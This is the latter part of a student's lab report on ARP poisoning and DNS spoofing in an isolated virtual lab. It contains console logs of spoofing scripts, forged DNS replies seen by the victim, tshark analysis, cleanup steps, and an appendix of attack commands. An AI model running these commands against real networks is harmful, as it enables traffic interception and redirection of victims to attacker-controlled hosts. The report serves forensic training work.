[+] Sent to 192.168.199.129 : 192.168.199.2 is-at 00:0c:29:f3:f7:44
WARNING: You should be providing the Ethernet destination MAC address when sending an is-at ARP.
[+] Sent to 192.168.199.2 : 192.168.199.129 is-at 00:0c:29:f3:f7:44
[*] Packets Sent 10WARNING: more You should be providing the Ethernet destination MAC address when sending an is-at ARP.
[+] Sent to 192.168.199.129 : 192.168.199.2 is-at 00:0c:29:f3:f7:44
[+] Sent to 192.168.199.2 : 192.168.199.129 is-at 00:0c:29:f3:f7:44
[*] Packets Sent 12WARNING: You should be providing the Ethernet destination MAC address when sending an is-at ARP.
[+] Sent to 192.168.199.129 : 192.168.199.2 is-at 00:0c:29:f3:f7:44
WARNING: You should be providing the Ethernet destination MAC address when sending an is-at ARP.
[+] Sent to 192.168.199.2 : 192.168.199.129 is-at 00:0c:29:f3:f7:44
[*] Packets Sent 14WARNING: more You should be providing the Ethernet destination MAC address when sending an is-at ARP.
[+] Sent to 192.168.199.129 : 192.168.199.2 is-at 00:0c:29:f3:f7:44
[+] Sent to 192.168.199.2 : 192.168.199.129 is-at 00:0c:29:f3:f7:44
[*] Packets Sent 16WARNING: You should be providing the Ethernet destination MAC address when sending an is-at ARP.
[+] Sent to 192.168.199.129 : 192.168.199.2 is-at 00:0c:29:f3:f7:44
WARNING: You should be providing the Ethernet destination MAC address when sending an is-at ARP.
[+] Sent to 192.168.199.2 : 192.168.199.129 is-at 00:0c:29:f3:f7:44
[*] Packets Sent 18WARNING: more You should be providing the Ethernet destination MAC address when sending an is-at ARP.
[+] Sent to 192.168.199.129 : 192.168.199.2 is-at 00:0c:29:f3:f7:44
[+] Sent to 192.168.199.2 : 192.168.199.129 is-at 00:0c:29:f3:f7:44

```

Figure 11: Active ARP Poisoning Execution via arp.py — Launching arp.py 192.168.199.129 192.168.199.2 broadcasting spoofed MAC 00:0c:29:f3:f7:44.

```

(kali㉿kali)-[~/SBT-DF203-Lab8]
$ cd ~/SBT-DF203-Lab8
sudo python3 scripts/dns_spoof.py
2026-09-23 19:00:16,272 - Snoofing....
2026-09-23 19:00:39,065 - [query] b'portal.icdfa.test.'
2026-09-23 19:00:39,065 - [MATCH] b'portal.icdfa.test.' → 192.168.199.128
2026-09-23 19:00:39,067 - [SPOOFED] b'portal.icdfa.test.' → 192.168.199.128
2026-09-23 19:00:39,107 - [query] b'bank.training.invalid.'
2026-09-23 19:00:39,107 - [MATCH] b'bank.training.invalid.' → 192.168.199.128
2026-09-23 19:00:39,110 - [SPOOFED] b'bank.training.invalid.' → 192.168.199.128
2026-09-23 19:00:55,216 - [query] b'connectivity-check.ubuntu.com.'
2026-09-23 19:00:58,386 - [query] b'portal.icdfa.test.'
2026-09-23 19:00:58,387 - [MATCH] b'portal.icdfa.test.' → 192.168.199.128
2026-09-23 19:00:58,388 - [SPOOFED] b'portal.icdfa.test.' → 192.168.199.128
2026-09-23 19:00:58,391 - [query] b'portal.icdfa.test.'
2026-09-23 19:00:58,391 - [MATCH] b'portal.icdfa.test.' → 192.168.199.128
2026-09-23 19:00:58,393 - [SPOOFED] b'portal.icdfa.test.' → 192.168.199.128
2026-09-23 19:00:58,393 - [query] b'portal.icdfa.test.'
2026-09-23 19:00:58,394 - [MATCH] b'portal.icdfa.test.' → 192.168.199.128
2026-09-23 19:00:58,394 - [SPOOFED] b'portal.icdfa.test.' → 192.168.199.128
2026-09-23 19:00:58,402 - [query] b'portal.icdfa.test.'
2026-09-23 19:00:58,402 - [MATCH] b'portal.icdfa.test.' → 192.168.199.128
2026-09-23 19:00:58,403 - [SPOOFED] b'portal.icdfa.test.' → 192.168.199.128
2026-09-23 19:00:58,404 - [query] b'portal.icdfa.test.localdomain.'
2026-09-23 19:00:58,405 - [query] b'portal.icdfa.test.localdomain.'
^C2026-09-23 19:01:19,057 - [!] iptable rule flushed

(kali㉿kali)-[~/SBT-DF203-Lab8]
$ █

```

Figure 12: *dns_spoof.py* Interception & Spoofing Log — Console trace showing matching queries for portal.icdfa.test and bank.training.invalid rewritten to 192.168.199.128.

```

user@user-virtual-machine:~$ sudo resolvectl flush-caches
dig @192.168.199.2 portal.icdfa.test A
dig @192.168.199.2 bank.training.invalid A

; <<>> DiG 9.18.39-0ubuntu0.22.04.6-Ubuntu <<>> @192.168.199.2 portal.icdfa.test A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7249
;; flags: qr aa ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: Message has 23 extra bytes at end

;; QUESTION SECTION:
;portal.icdfa.test.          IN      A

;; ADDITIONAL SECTION:
portal.icdfa.test.          300     IN      A          192.168.199.128

;; Query time: 5 msec
;; SERVER: 192.168.199.2#53(192.168.199.2) (UDP)
;; WHEN: Thu Sep 24 00:00:39 WAT 2026
;; MSG SIZE rcvd: 91

; <<>> DiG 9.18.39-0ubuntu0.22.04.6-Ubuntu <<>> @192.168.199.2 bank.training.invalid A
; (1 server found)
;; global options: +cmd
Trash answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45978
;; flags: qr aa ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: Message has 23 extra bytes at end

;; QUESTION SECTION:
;bank.training.invalid.     IN      A

;; ADDITIONAL SECTION:
bank.training.invalid.     300     IN      A          192.168.199.128

;; Query time: 6 msec
;; SERVER: 192.168.199.2#53(192.168.199.2) (UDP)
;; WHEN: Thu Sep 24 00:00:39 WAT 2026
;; MSG SIZE rcvd: 99

user@user-virtual-machine:~$ curl -s http://portal.icdfa.test/ | head -5
user@user-virtual-machine:~$ █

```

Figure 13: *Victim Forged DNS Resolution (dig @192.168.199.2)* — Victim dig output showing injected A records (192.168.199.128, TTL 300) received in only 5ms.

```

(kali@kali)~/SBT-DF203-Lab8
$ cd ~/SBT-DF203-Lab8
PCAP=working/dns_spoof_final_working.pcapng

# DNS queries and responses
tshark -r "PCAP" -Y 'dns' -T fields -e frame.number -e frame.time_epoch -e eth.src -e ip.src -e ip.dst -e dns.id -e dns.flags.response -e dns.qry.name -e d
ns.a -e dns.resp.ttl | tee reports/dns_all_fields.tsv

# ARP claims during spoofing
tshark -r "PCAP" -Y 'arp.opcode==2' -T fields -e frame.number -e arp.src.proto_ipv4 -e arp.src.hw_mac -e arp.dst.proto_ipv4 | tee reports/arp_claims_during
_spoof.tsv

# Post-DNS connections
tshark -r "PCAP" -Y 'tcp.flags.syn==1' -T fields -e frame.number -e ip.src -e ip.dst -e tcp.dstport | tee reports/post_dns_connections.tsv
Warning: program compiled against libxml 215 using older 214
1 1790204400.473610951 00:0c:29:aa:6a:fa 192.168.199.129 192.168.199.2 0x5236 False 129.199.168.192.in-addr.arpa
2 1790204400.490690848 00:50:56:ff:50:a0 192.168.199.2 192.168.199.129 0x5236 True 129.199.168.192.in-addr.arpa 5
3 1790204400.491250813 00:0c:29:aa:6a:fa 192.168.199.129 192.168.199.2 0x5236 False 129.199.168.192.in-addr.arpa
4 1790204400.494585849 00:50:56:ff:50:a0 192.168.199.2 192.168.199.129 0x5236 True 129.199.168.192.in-addr.arpa
51 1790204439.063648184 00:0c:29:aa:6a:fa 192.168.199.129 192.168.199.2 0x1c51 False portal.icdfa.test
52 1790204439.067536362 00:0c:29:f3:f7:44 192.168.199.2 192.168.199.129 0x1c51 True portal.icdfa.test 192.168.199.128 300
53 1790204439.105687735 00:0c:29:aa:6a:fa 192.168.199.129 192.168.199.2 0xb39a False bank.training.invalid
54 1790204439.110911310 00:0c:29:f3:f7:44 192.168.199.2 192.168.199.129 0xb39a True bank.training.invalid 192.168.199.128 300
75 1790204455.214454953 00:0c:29:aa:6a:fa 192.168.199.129 192.168.199.2 0x57c9 False connectivity-check.ubuntu.com
76 1790204455.216265463 00:0c:29:f3:f7:44 192.168.199.129 192.168.199.2 0x57c9 False connectivity-check.ubuntu.com
77 1790204455.233600764 00:50:56:ff:50:a0 192.168.199.2 192.168.199.129 0x57c9 True connectivity-check.ubuntu.com 5,5,5,5,5,5
78 1790204455.237572365 00:0c:29:f3:f7:44 192.168.199.2 192.168.199.129 0x57c9 True connectivity-check.ubuntu.com 5,5,5,5,5,5
83 1790204458.384942949 00:0c:29:aa:6a:fa 192.168.199.129 192.168.199.2 0xc95f False portal.icdfa.test
84 1790204458.385270511 00:0c:29:aa:6a:fa 192.168.199.129 192.168.199.2 0x42b7 False portal.icdfa.test
85 1790204458.388878625 00:0c:29:f3:f7:44 192.168.199.2 192.168.199.129 0xc95f True portal.icdfa.test 192.168.199.128 300
86 1790204458.391091549 00:0c:29:aa:6a:fa 192.168.199.129 192.168.199.2 0x6f18 False portal.icdfa.test
87 1790204458.393511587 00:0c:29:f3:f7:44 192.168.199.2 192.168.199.129 0x42b7 True portal.icdfa.test 192.168.199.128 300
88 1790204458.395045263 00:0c:29:f3:f7:44 192.168.199.2 192.168.199.129 0x6f18 True portal.icdfa.test
89 1790204458.401176552 00:0c:29:aa:6a:fa 192.168.199.129 192.168.199.2 0xe762 False portal.icdfa.test
90 1790204458.403271342 00:0c:29:f3:f7:44 192.168.199.2 192.168.199.129 0xe762 True portal.icdfa.test
91 1790204458.404402151 00:0c:29:aa:6a:fa 192.168.199.129 192.168.199.2 0xeab4 False portal.icdfa.test.localdomain
92 1790204458.404736148 00:0c:29:aa:6a:fa 192.168.199.129 192.168.199.2 0x6d06 False portal.icdfa.test.localdomain
93 1790204458.405131035 00:0c:29:f3:f7:44 192.168.199.129 192.168.199.2 0xeab4 False portal.icdfa.test.localdomain
94 1790204458.405794145 00:0c:29:f3:f7:44 192.168.199.129 192.168.199.2 0x6d06 False portal.icdfa.test.localdomain

```

Figure 14: TShark Dissection of Spoofed Capture (dns_all_fields.tsv) — Packet dissection proving response frames (52, 54) originated from Kali with 192.168.199.128 payload.

56	192.168.199.129	00:0c:29:aa:6a:fa	192.168.199.128
57	192.168.199.2	00:0c:29:f3:f7:44	192.168.199.129
58	192.168.199.129	00:0c:29:f3:f7:44	192.168.199.2
60	192.168.199.129	00:0c:29:aa:6a:fa	192.168.199.128
61	192.168.199.2	00:0c:29:f3:f7:44	192.168.199.129
62	192.168.199.129	00:0c:29:f3:f7:44	192.168.199.2
64	192.168.199.129	00:0c:29:aa:6a:fa	192.168.199.128
65	192.168.199.2	00:0c:29:f3:f7:44	192.168.199.129
66	192.168.199.129	00:0c:29:f3:f7:44	192.168.199.2
68	192.168.199.129	00:0c:29:aa:6a:fa	192.168.199.128
69	192.168.199.2	00:0c:29:f3:f7:44	192.168.199.129
70	192.168.199.129	00:0c:29:f3:f7:44	192.168.199.2
72	192.168.199.129	00:0c:29:aa:6a:fa	192.168.199.128
73	192.168.199.2	00:0c:29:f3:f7:44	192.168.199.129
74	192.168.199.129	00:0c:29:f3:f7:44	192.168.199.2
80	192.168.199.129	00:0c:29:aa:6a:fa	192.168.199.128
81	192.168.199.2	00:0c:29:f3:f7:44	192.168.199.129
82	192.168.199.129	00:0c:29:f3:f7:44	192.168.199.2
98	192.168.199.129	00:0c:29:aa:6a:fa	192.168.199.128
99	192.168.199.2	00:0c:29:f3:f7:44	192.168.199.129
100	192.168.199.129	00:0c:29:f3:f7:44	192.168.199.2
104	192.168.199.129	00:0c:29:aa:6a:fa	192.168.199.128
105	192.168.199.2	00:0c:29:f3:f7:44	192.168.199.129
106	192.168.199.129	00:0c:29:f3:f7:44	192.168.199.2
108	192.168.199.129	00:0c:29:aa:6a:fa	192.168.199.128
109	192.168.199.2	00:0c:29:f3:f7:44	192.168.199.129
110	192.168.199.129	00:0c:29:f3:f7:44	192.168.199.2
112	192.168.199.129	00:0c:29:aa:6a:fa	192.168.199.128
113	192.168.199.2	00:0c:29:f3:f7:44	192.168.199.129
114	192.168.199.129	00:0c:29:f3:f7:44	192.168.199.2
116	192.168.199.129	00:0c:29:aa:6a:fa	192.168.199.128
117	192.168.199.2	00:0c:29:f3:f7:44	192.168.199.129
118	192.168.199.129	00:0c:29:f3:f7:44	192.168.199.2
120	192.168.199.129	00:0c:29:aa:6a:fa	192.168.199.128
121	192.168.199.2	00:0c:29:f3:f7:44	192.168.199.129
122	192.168.199.129	00:0c:29:f3:f7:44	192.168.199.2
124	192.168.199.129	00:0c:29:aa:6a:fa	192.168.199.128
125	192.168.199.2	00:0c:29:f3:f7:44	192.168.199.129
126	192.168.199.129	00:0c:29:f3:f7:44	192.168.199.2
128	192.168.199.129	00:0c:29:aa:6a:fa	192.168.199.128
129	192.168.199.2	00:0c:29:f3:f7:44	192.168.199.129

Figure 15: *Post-DNS Victim TCP Connection Redirection* — Dissecting post_dns_connections.tsv confirming victim connected to 192.168.199.128 on ports 80/443.

```

(kali㉿kali)-[~/SBT-DF203-Lab8]
$ cd ~/SBT-DF203-Lab8
ps aux | grep -E '[a]rp.py|[d]ns_spoof.py|[t]shark' | tee reports/process_cleanup_check.txt
cat reports/process_cleanup_check.txt
echo "(Empty = all processes stopped)"
(Empty = all processes stopped)

(kali㉿kali)-[~/SBT-DF203-Lab8]
$ sudo iptables -L -n -v --line-numbers | tee reports/iptables_after_cleanup.txt
cat reports/iptables_after_cleanup.txt
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
num  pkts bytes target    prot opt in     out     source                 destination

Chain FORWARD (policy ACCEPT 8 packets, 1583 bytes)
num  pkts bytes target    prot opt in     out     source                 destination

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
num  pkts bytes target    prot opt in     out     source                 destination
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
num  pkts bytes target    prot opt in     out     source                 destination

Chain FORWARD (policy ACCEPT 8 packets, 1583 bytes)
num  pkts bytes target    prot opt in     out     source                 destination

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
num  pkts bytes target    prot opt in     out     source                 destination

(kali㉿kali)-[~/SBT-DF203-Lab8]
$ sudo sysctl -w net.ipv4.ip_forward=0 | tee reports/ip_forward_restored.txt
cat reports/ip_forward_restored.txt
net.ipv4.ip_forward = 0
net.ipv4.ip_forward = 0

(kali㉿kali)-[~/SBT-DF203-Lab8]
$ sudo ip neigh flush all
ip neigh show | tee reports/arp_after_cleanup_kali.txt

(kali㉿kali)-[~/SBT-DF203-Lab8]
$ cd ~/SBT-DF203-Lab8
PCAP=working/dns_spoof_final_working.pcapng

```

Figure 16: Kali Process Cleanup & Environment Restoration — Verifying zero rogue processes via ps aux, unlinking NFQUEUE, resetting ip_forward=0, and flushing ARP.

13. Appendix – Commands and Hashes

```
# Baseline Verification (Victim)
dig @192.168.199.2 portal.icdfa.test A

# Attack Execution (Kali)
sudo python3 scripts/arp.py 192.168.199.129 192.168.199.2
sudo python3 scripts/dns_spoof.py

# Victim Cache Flush & Forged Query Test
sudo resolvectl flush-caches
dig @192.168.199.2 portal.icdfa.test A
dig @192.168.199.2 bank.training.invalid A
curl -s http://portal.icdfa.test/ | head -5

# Environment Cleanup & Restoration
sudo pkill -f arp.py; sudo pkill -f dns_spoof.py
sudo systemctl -w net.ipv4.ip_forward=0
sudo ip neigh flush all
```

Evidence Integrity: Cryptographic Hash Digest Preservation:

- **dns_baseline.pcapng Hash:** 09cd9122f26ada6d68770c1cde91260e84dcdbcea945ae7bc5fc28005705ac5
- **dns_spoof_final.pcapng Hash:** 0c60112b56f073344fa5fcffe3a83d5ceefed84799d6143a2a9cbc6ddb457

Student Declaration

I confirm that I completed this lab in an authorized environment, preserved the evidence, did not target any third-party system, and accurately documented my own commands, observations, and conclusions.

Student Signature: Almustapha Yusuf

Date: 24/09/2026